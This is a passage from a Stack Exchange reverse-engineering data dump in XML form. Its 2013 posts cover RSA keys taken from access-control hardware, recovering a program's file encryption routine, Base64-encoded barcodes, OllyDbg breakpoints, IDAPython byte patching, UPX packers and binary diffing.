04 8D E0 83 7F 29 C8 03 54 D1 B5 E3 03 27 4E 3F C5 8D 79 75 D6 A1 FE 3B 67 F1 43 99 65 CC EE B1 A8 55 BA E8 3D A7 81 75 FD 2E 86 B3 A6 C8 A0 4E 0D 77 1E C3 C0 AE 27 DA 06 3D 8F A5 CC E0 32 3D 65 60 E9 86 A2 65 E2 BB D3 B9 37 4E A6 BF 91 89 02 C5 26 E0 AF FD A8 82 23 68 38 4E 26 51 44 52 D9 B6 CA 6E 84 0A 9D 6C FA BE 85 D3 22 DF 57 61 B9 A8 21 0B A4 6D 89 12 4A 64 25 83 12 60 3D&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The overall protection works like this:&#xA;External services can have access to buildings - but each individual access is time limited, to prevent abuse. Cards must be refreshed every day or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the system documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Building access is controlled by adding the services' public key to the building's device&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;A service's 'charging device' using RSA encryption using 768 or 1024 bit private keys allows badges to be issued to users on a daily basis&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I agree - this seems to be the inverse of an asynchronous key system (distributing the public key, and then using the private key for encryption) - so perhaps they're doing something different (RSA signing?) - this is what I'm trying to determine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is corroborated within the hardware code that I'm seeing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$PubKey = &quot;x31353737443032393837433633413935423531414531343934333038333441454146334632453046344346384336383837414336433844373332443739343832363034464331384441373741394343314635344438303633454145364534324134314232453034443136363338353644373630454142454343464237383342414531443433453145303243353031314538323342323446323931384639384134393632413837354430444639344638303938413141333044433934313330334639384142413139453646393936353937454441443746303343414239313545443442353842374241414432384330423637353933434446434342353339394142&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hopefully this edit will provide some clarity on the whole situation - I appreciate your insight and assistance.&lt;/p&gt;&#xA;" OwnerDisplayName="swx" LastEditorUserId="1854" LastEditDate="2013-10-22T17:11:58.857" LastActivityDate="2017-04-01T16:25:21.080" Title="Understanding hardware extracted keys" Tags="|cryptography|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2937" PostTypeId="2" ParentId="2936" CreationDate="2013-10-20T18:10:52.957" Score="3" Body="&lt;p&gt;An &lt;a href=&quot;http://en.wikipedia.org/wiki/RSA_%28algorithm%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSA&lt;/a&gt; public key consists of two things: the modulus &lt;em&gt;m&lt;/em&gt; (a product of two large primes &lt;em&gt;p&lt;/em&gt; and &lt;em&gt;q&lt;/em&gt;) and the public exponent &lt;em&gt;e&lt;/em&gt; (a small and often fixed number, commonly 3 or 65537).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An RSA private key consists of the same modulus &lt;em&gt;m&lt;/em&gt; as in the public key and the private exponent &lt;em&gt;d&lt;/em&gt;, a number chosen such that &lt;em&gt;x&lt;/em&gt;&lt;sup&gt;&lt;em&gt;ed&lt;/em&gt;&lt;/sup&gt; &amp;equiv; &lt;em&gt;x&lt;/em&gt; (mod &lt;em&gt;m&lt;/em&gt;).  Typically, &lt;em&gt;d&lt;/em&gt; will be about the same size as &lt;em&gt;m&lt;/em&gt; or slightly shorter.  (Alternatively, it's possible to instead store the primes &lt;em&gt;p&lt;/em&gt; and &lt;em&gt;q&lt;/em&gt;, from which, together with &lt;em&gt;e&lt;/em&gt;, the modulus &lt;em&gt;m&lt;/em&gt; and the private exponent &lt;em&gt;d&lt;/em&gt; may be calculated.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, your 1024-bit number looks like it &lt;em&gt;might&lt;/em&gt; be the modulus (although, if so, it certainly shouldn't have any small factors).  Are you sure there isn't &lt;em&gt;another&lt;/em&gt; number stored in the hardware that could be the private exponent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, are you sure the device is actually doing RSA encryption, and not, say, &lt;a href=&quot;http://en.wikipedia.org/wiki/RSA_%28algorithm%29#Signing_messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSA signing&lt;/a&gt;, which looks superficially like &quot;encrypting with the private key&quot; (although the the details of the padding schemes needed to make the two operations secure differ considerably)?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; My French is kind of rusty, but based on the extra information you've given and what I could gather from the Vigik site at a glance, it looks like what they're doing is &lt;em&gt;probably&lt;/em&gt; something like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The charging service holds the private key, while the access control device has the corresponding public key.  The card probably doesn't hold either key, and may or may not actually do any crypto at all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the card is charged, the charging service creates a message stating that this particular card is authorized access to particular locations until a particular time.  It then signs this message using the private key and sends the signed message to the card.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the card is used to request access, it transmits the signed message to the access control device, which verifies that the authorization is valid for the location, has not expired, and that the signature is correct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At least, this is more or less how &lt;em&gt;I&lt;/em&gt; would design a system like this.  One advantage of this design is that neither the card nor the access control device need to know the private key, so it cannot be compromised even if either of them is stolen and analyzed.  (The charging service does need the private key, but presumably it can be secured better than the cards and access control devices, possibly even by doing the actual signing on a remote server.)  It also doesn't require the card itself to do any crypto, which makes them much easier and cheaper to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Actually, though, if I &lt;em&gt;were&lt;/em&gt; designing such a system and had a card that &lt;em&gt;could&lt;/em&gt; do RSA signing, I'd also give each card its own private key, include the corresponding public key in the authorization message, and have the access control device request a zero-knowledge proof that the card really knows the private key it claims to have.  This would make the cards truly uncloneable, even temporarily, without some serious reverse engineering effort to extract the key.)&lt;/p&gt;&#xA;" OwnerUserId="1499" OwnerDisplayName="Ilmari Karonen" LastEditorUserId="1499" LastEditDate="2017-04-01T16:25:21.080" LastActivityDate="2017-04-01T16:25:21.080" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2938" PostTypeId="1" CreationDate="2013-10-24T03:49:17.583" Score="2" ViewCount="1636" Body="&lt;p&gt;I have a program that has the ability to encrypt files and I want to be able to create a program that can read these files. I believe it uses a Blowfish encryption, but I'm not certain on that. How can I find the type of encryption used and its key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Reflector, I was able to find the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static unsafe string Encrypt(string text)&#xA;{&#xA;    string str;&#xA;    basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; local2;&#xA;    sbyte modopt(IsSignUnspecifiedByte)* numPtr = (sbyte modopt(IsSignUnspecifiedByte)*) Marshal.StringToHGlobalAnsi(text);&#xA;    std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.{ctor}(&amp;amp;local2, numPtr);&#xA;    try&#xA;    {&#xA;        basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; local;&#xA;        IntPtr hglobal = new IntPtr(numPtr);&#xA;        Marshal.FreeHGlobal(hglobal);&#xA;        basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;* localPtr = _Encrypt(&amp;amp;local, (basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; modopt(IsConst)* modopt(IsImplicitlyDereferenced)) &amp;amp;local2);&#xA;        try&#xA;        {&#xA;            str = new string(std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.c_str((basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; modopt(IsConst)* modopt(IsConst) modopt(IsConst)) localPtr));&#xA;        }&#xA;        fault&#xA;        {&#xA;            ___CxxCallUnwindDtor(std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.{dtor}, (void*) &amp;amp;local);&#xA;        }&#xA;        std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.{dtor}(&amp;amp;local);&#xA;    }&#xA;    fault&#xA;    {&#xA;        ___CxxCallUnwindDtor(std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.{dtor}, (void*) &amp;amp;local2);&#xA;    }&#xA;    std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;.{dtor}(&amp;amp;local2);&#xA;    return str;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice it also references this, but I don't understand what it does at all...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[PreserveSig, MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType=MethodCodeType.Native), SuppressUnmanagedCodeSecurity]&#xA;internal static unsafe basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;* modreq(IsUdtReturn) modopt(CallConvCdecl) _Encrypt(basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;*, basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; modopt(IsConst)* modopt(IsImplicitlyDereferenced));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm still new to desktop programming, my only programming experience is mostly with web-based technologies and the absolute basics of C++. I've never gotten into reverse engineering before either. So please be gentle and thorough in your response as I'd really like to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------------- EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've finally been able to find the same function call in OllyDBG. However, setting a breakpoint and making it run the code does not cause it to break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might I be doing wrong? :/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                            Comments&#xA;00A088D8  /$  02            ldarg.0&#xA;00A088D9  |.  7B CC000004   ldfld openFileDialog3&#xA;00A088DE  |.  02            ldarg.0&#xA;00A088DF  |.  6F D101000A   callvirt ShowDialog&#xA;00A088E4  |.  17            ldc.i4.1&#xA;00A088E5  |.- 2E 01         beq.s 0A088E8&#xA;00A088E7  |.  2A            ret&#xA;00A088E8  |&amp;gt;  02            ldarg.0&#xA;00A088E9  |.  7B CC000004   ldfld openFileDialog3&#xA;00A088EE  |.  6F 8501000A   callvirt get_FileName&#xA;00A088F3  |.  28 D201000A   call ReadAllText&#xA;00A088F8  |.  0A            stloc.0&#xA;00A088F9  |.  06            ldloc.0&#xA;00A088FA  |.  6F 9000000A   callvirt Trim&#xA;00A088FF  |.  6F 3900000A   callvirt get_Length&#xA;00A08904  |.- 2D 01         brtrue.s 0A08907&#xA;00A08906  |.  2A            ret&#xA;00A08907  |&amp;gt;  06            ldloc.0&#xA;00A08908  |.  6F 9000000A   callvirt Trim&#xA;00A0890D  |.  72 99340070   ldstr &quot;ENCRYPTED&quot;                  ; UNICODE &quot;ENCRYPTED&quot;&#xA;00A08912  |.  6F D301000A   callvirt StartsWith&#xA;00A08917  |.- 2C 1F         brfalse.s 0A08938&#xA;00A08919  |.  02            ldarg.0&#xA;00A0891A  |.  72 AD340070   ldstr &quot;File is already encrypted&quot;  ; UNICODE &quot;File is already encrypted&quot;&#xA;00A0891F  |.  28 14000006   call Translate&#xA;00A08924  |.  72 E1340070   ldstr &quot;Error&quot;                      ; UNICODE &quot;Error&quot;&#xA;00A08929  |.  28 14000006   call Translate&#xA;00A0892E  |.  16            ldc.i4.0&#xA;00A0892F  |.  1F 10         ldc.i4.s 10&#xA;00A08931  |.  28 D401000A   call Show&#xA;00A08936  |.  26            pop&#xA;00A08937  |.  2A            ret&#xA;00A08938  |&amp;gt;  06            ldloc.0&#xA;00A08939  |.  28 D501000A   call Encrypt&#xA;00A0893E  |.  0A            stloc.0&#xA;00A0893F  |.  06            ldloc.0&#xA;00A08940  |.  6F 9000000A   callvirt Trim&#xA;00A08945  |.  6F 3900000A   callvirt get_Length&#xA;00A0894A  |.- 2D 01         brtrue.s 0A0894D&#xA;00A0894C  |.  2A            ret&#xA;00A0894D  |&amp;gt;  02            ldarg.0&#xA;00A0894E  |.  7B CC000004   ldfld openFileDialog3&#xA;00A08953  |.  6F 8501000A   callvirt get_FileName&#xA;00A08958  |.  02            ldarg.0&#xA;00A08959  |.  7B CC000004   ldfld openFileDialog3&#xA;00A0895E  |.  6F 8501000A   callvirt get_FileName&#xA;00A08963  |.  72 ED340070   ldstr &quot;.bak&quot;                       ; UNICODE &quot;.bak&quot;&#xA;00A08968  |.  28 3A00000A   call Concat&#xA;00A0896D  |.  17            ldc.i4.1&#xA;00A0896E  |.  28 B700000A   call Copy&#xA;00A08973  |.  02            ldarg.0&#xA;00A08974  |.  7B CC000004   ldfld openFileDialog3&#xA;00A08979  |.  6F 8501000A   callvirt get_FileName&#xA;00A0897E  |.  06            ldloc.0&#xA;00A0897F  |.  28 A200000A   call WriteAllText&#xA;00A08984  |.  02            ldarg.0&#xA;00A08985  |.  72 F7340070   ldstr &quot;File encrypted&quot;             ; UNICODE &quot;File encrypted&quot;&#xA;00A0898A  |.  28 14000006   call Translate&#xA;00A0898F  |.  72 15350070   ldstr &quot;Info&quot;                       ; UNICODE &quot;Info&quot;&#xA;00A08994  |.  28 14000006   call Translate&#xA;00A08999  |.  16            ldc.i4.0&#xA;00A0899A  |.  1F 40         ldc.i4.s 40&#xA;00A0899C  |.  28 D401000A   call Show&#xA;00A089A1  |.  26            pop&#xA;00A089A2  \.  2A            ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3038" LastEditorUserId="3038" LastEditDate="2013-10-24T05:45:04.777" LastActivityDate="2014-05-18T09:31:44.697" Title="Reverse Engineering an Encryption Algorithm" Tags="|encryption|decryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2939" PostTypeId="2" ParentId="2938" CreationDate="2013-10-24T05:09:51.643" Score="1" Body="&lt;pre&gt;&lt;code&gt;[PreserveSig, MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType=MethodCodeType.Native), SuppressUnmanagedCodeSecurity]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see the first part saying unmanaged? .net is a 'managed' environment. As this is referred to the memory, I can tell you C and C++ are not (beware of C++.net as that is managed C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, by the looks of this I'd say it calls the function from an external source (I'd suspect a DLL). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;internal static unsafe basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;* modreq(IsUdtReturn) modopt(CallConvCdecl) _Encrypt(basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;*, basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; modopt(IsConst)* modopt(IsImplicitlyDereferenced));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This says things about the method it is called &lt;code&gt;Cdecl&lt;/code&gt; the function is called _Encrypt and has a few arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped, now you should first learn the basics, especially when you are going to dive into disassembling this native code.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-10-24T05:09:51.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2940" PostTypeId="1" AcceptedAnswerId="2941" CreationDate="2013-10-24T08:25:38.220" Score="6" ViewCount="133" Body="&lt;p&gt;I am currently looking at a TIFF file generated by a microscope vendor. They store an XML within the TIFF (ImageDescription tag). Within this XML I can find a &lt;code&gt;&amp;lt;barcode&amp;gt;&lt;/code&gt; element. But instead of storing the actual barcode (PDF417, DataMatrix) value, they store something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three samples, first one is a PDF417, the last two are DataMatrix. Decoding the values leads to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;04050629C&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;H13150154711A11&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;H13150154512A02&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;while the XML element &lt;code&gt;&amp;lt;barcode&amp;gt;&lt;/code&gt; contains (in that order):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;MDQwNTA2MjlD&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SDEzMTUwMTU0NzExQTEx&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SDEzMTUwMTU0NTEyQTAy&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What type of encoding is this ?&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="245" LastEditDate="2013-11-28T15:19:45.027" LastActivityDate="2013-11-28T15:19:45.027" Title="Storing barcodes as ASCII" Tags="|encodings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2941" PostTypeId="2" ParentId="2940" CreationDate="2013-10-24T08:48:23.480" Score="7" Body="&lt;p&gt;The type of encoding is Base64 encoding.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo MDQwNTA2MjlD | base64 -d&#xA;04050629C&#xA;&#xA;$ echo SDEzMTUwMTU0NzExQTEx | base64 -d&#xA;H13150154711A11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3042" LastEditorUserId="1485" LastEditDate="2013-10-24T17:34:31.113" LastActivityDate="2013-10-24T17:34:31.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2942" PostTypeId="1" CreationDate="2013-10-24T08:53:16.930" Score="6" ViewCount="6136" Body="&lt;p&gt;I'm trying to set breakpoints in OllyDBG, I found the address that I wish to break on and I've hit F2 in order to set the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the program runs the code, it doesn't break. I'm not very familiar with OllyDBG and don't know how it works on multithreaded applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If a new thread opens to execute the instruction set with the breakpoint, will it still break?&lt;br/&gt;&#xA;2) What else might I check to get it to break?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used OllyDBG before and never had problems with getting it to break, so I'm not sure what's changed.&lt;/p&gt;&#xA;" OwnerUserId="3038" LastActivityDate="2014-04-15T09:41:58.283" Title="Break points in OllyDBG" Tags="|ollydbg|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2943" PostTypeId="1" AcceptedAnswerId="2944" CreationDate="2013-10-24T09:15:59.983" Score="7" ViewCount="10683" Body="&lt;p&gt;Is it possible to paste a series of bytes into hex view of IDA? Say I have a large buffer I need to fill with a specific value, and I have it in the form most hex editors output... 0A AB EF FF 00 01... is there some quick way to write this value to a segment of the hex view? Or do this through IDAPython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solved using PatchByte as suggested below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def PatchArr(dest, str):&#xA;  for i, c in enumerate(str):&#xA;    idc.PatchByte(dest+i, ord(c));&#xA;&#xA;# usage: patchArr(start address, string of bytes to write)&#xA;patchArr(0xCAFEBABE, &quot;\x01\x02\x03&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I am not a fan of edits to volatile debug memory causing IDA to complain about the IDB being patched post-debug...&lt;/p&gt;&#xA;" OwnerUserId="1548" LastEditorUserId="1548" LastEditDate="2013-10-24T19:00:00.160" LastActivityDate="2013-10-25T15:48:08.783" Title="Paste hex bytes into IDA Pro Hex View" Tags="|ida|python|idapython|hex|memory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2944" PostTypeId="2" ParentId="2943" CreationDate="2013-10-24T13:14:56.667" Score="8" Body="&lt;p&gt;While in IDA's Hex View you can go to &lt;strong&gt;Edit-&gt;Patch Program-&gt;Change Byte&lt;/strong&gt;, but I think this only lets you patch 16 bytes at a time. If you need to patch more bytes than that you can use IDAPython's &lt;strong&gt;idc.PatchByte&lt;/strong&gt; / &lt;strong&gt;idc.PatchWord&lt;/strong&gt; / &lt;strong&gt;idc.PatchDword&lt;/strong&gt; to change bytes in the IDA database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a quick note, if you want your patches applied to the original file that you loaded into IDA, you need to go to &lt;strong&gt;Edit-&gt;Patch Program-&gt;Apply patches to input file&lt;/strong&gt; after you patch the bytes in the idb.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-10-24T13:14:56.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2945" PostTypeId="2" ParentId="2942" CreationDate="2013-10-24T13:56:46.983" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Either the instruction is never actually executed by the target program (likely), or the target program is using anti-debugging code to disable your breakpoint (unlikely). For the former, reevaluate your assumptions about what code is executed; for the latter, try different types of breakpoints (software, hardware, and memory).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="53" LastEditDate="2014-04-15T09:41:58.283" LastActivityDate="2014-04-15T09:41:58.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2947" PostTypeId="1" CreationDate="2013-10-24T18:48:51.863" Score="3" ViewCount="1147" Body="&lt;p&gt;Anyone know of any publicly available modified versions of UPX for ELF? I.e. one that is not able to be unpacked using &lt;code&gt;upx -d&lt;/code&gt;. The unpacking stub in the binary is slightly obfuscated. I am looking to identify the source of these modifications.&lt;/p&gt;&#xA;" OwnerUserId="3045" LastEditorUserId="245" LastEditDate="2013-10-26T11:25:17.940" LastActivityDate="2013-10-26T11:25:17.940" Title="Known publicly available modified UPX ELF packer" Tags="|elf|packers|upx|" AnswerCount="1" CommentCount="3" ClosedDate="2013-11-06T21:58:22.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="2948" PostTypeId="2" ParentId="2943" CreationDate="2013-10-24T20:14:29.023" Score="1" Body="&lt;p&gt;Even though this has been answered, IDA is meant as a debugger. Not as a patching tool, this has to do a lot with how IDA stores works. IDA creates a database file that allows you to remove the exe after loading it first. This can be really useful when you work with intellectual property / malware. I would recommend to use ImmDBG for your patching needs.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-10-24T20:14:29.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2949" PostTypeId="2" ParentId="1614" CreationDate="2013-10-24T20:39:15.620" Score="4" Body="&lt;p&gt;CorFlags.exe is a utility that ships with the Windows SDK. Execute that passing in the name of the file in question and if it is a managed file it will tell you what version of the Dotnet framework it uses and whether the file is all managed code or mixed mode, whether it is signed, and a few other useful bits of info.&lt;/p&gt;&#xA;" OwnerUserId="3046" LastActivityDate="2013-10-24T20:39:15.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2950" PostTypeId="2" ParentId="2947" CreationDate="2013-10-24T22:51:14.567" Score="1" Body="&lt;p&gt;UPX is already managing ELF (see: &lt;a href=&quot;http://upx.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;UPX supported executable formats&lt;/a&gt;). Or, did I miss the point of your question ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, note that UPX is not designed for obfuscation purpose, it mainly aims at compressing the executable.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-10-24T22:51:14.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2951" PostTypeId="2" ParentId="1879" CreationDate="2013-10-25T13:06:24.623" Score="20" Body="&lt;p&gt;You can also try radiff2 (Which doesn't require IDA ;)), which is a tool from the &lt;a href=&quot;http://rada.re&quot;&gt;radare&lt;/a&gt; toolsuite. It supports delta diffing (-d), graphdiff (-g), and lots of related goodies.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-10-25T13:06:24.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2952" PostTypeId="2" ParentId="1879" CreationDate="2013-10-25T15:33:19.903" Score="6" Body="&lt;p&gt;I'm a big fan of the &lt;a href=&quot;http://kdiff3.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;kdiff&lt;/a&gt; route because it's quick and clean . Note: I use diffing for writing signatures on malware. Most of the time I need a simple visual of the different instructions. If you need to dig deeper go the BinDiff or DarunGrim route as mentioned by Mick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use kdiff to diff the binaries you will need the disassembly output generate by IDA. The following script can be used to create the assembly output for all executables in the working directory. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os &#xA;import subprocess&#xA;import glob&#xA;paths = glob.glob(&quot;*.exe&quot;)&#xA;ida_path = os.path.join(os.environ['PROGRAMFILES'], &quot;IDA&quot;, &quot;idaw.exe&quot;)&#xA;&#xA;for file_path in paths:&#xA;    subprocess.call([ida_path, &quot;-B&quot;, file_path])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Execute the script. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\Administrator\Desktop\diff\python make-asm.py&#xA;&#xA;Thank you for using IDA. Have a nice day!&#xA;&#xA;C:\Documents and Settings\Administrator\Desktop\diff&amp;gt;dir&#xA; Directory of C:\Documents and Settings\Administrator\Desktop\diff&#xA;&#xA;10/25/2013  11:16 AM    &amp;lt;DIR&amp;gt;          .&#xA;10/25/2013  11:16 AM    &amp;lt;DIR&amp;gt;          ..&#xA;10/25/2013  11:16 AM            40,604 a.asm&#xA;10/24/2013  08:35 AM             9,938 a.exe&#xA;10/25/2013  11:16 AM           368,957 a.idb&#xA;10/25/2013  11:16 AM            40,657 b.asm&#xA;10/24/2013  08:35 AM             9,969 b.exe&#xA;10/25/2013  11:16 AM           368,957 b.idb&#xA;10/25/2013  11:15 AM               218 make-asm.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Select the two .asm files, right click, Kdiff, Compare. Nice and simple output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/efPZV.png&quot; alt=&quot;r&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="1425" LastEditDate="2013-10-25T15:38:34.990" LastActivityDate="2013-10-25T15:38:34.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2953" PostTypeId="2" ParentId="2943" CreationDate="2013-10-25T15:48:08.783" Score="3" Body="&lt;p&gt;Below are two functions from &lt;a href=&quot;https://bitbucket.org/Alexander_Hanel/fwrapper/src/&quot; rel=&quot;nofollow&quot;&gt;fwrapper&lt;/a&gt; that give examples on how to patch IDBs and import data from a file. I'd recommend checking out the code. I use it all the time for samples that decodes/decrypts data or when I have to manually dump a block of memory and patch an IDB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def patch(self, temp = None):&#xA;    '''patch idb with data in fwrapper.buffer'''&#xA;    if temp != None:&#xA;            self.buffer = temp&#xA;    for index, byte in enumerate(self.buffer):&#xA;         PatchByte(self.start+index, ord(byte))&#xA;&#xA;def importb(self):&#xA;    '''import file to save to buffer'''&#xA;    fileName = AskFile(0, &quot;*.*&quot;, 'Import File')&#xA;    try:&#xA;        self.buffer = open(fileName, 'rb').read()&#xA;    except:&#xA;        sys.stdout.write('ERROR: Cannot access file')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-10-25T15:48:08.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
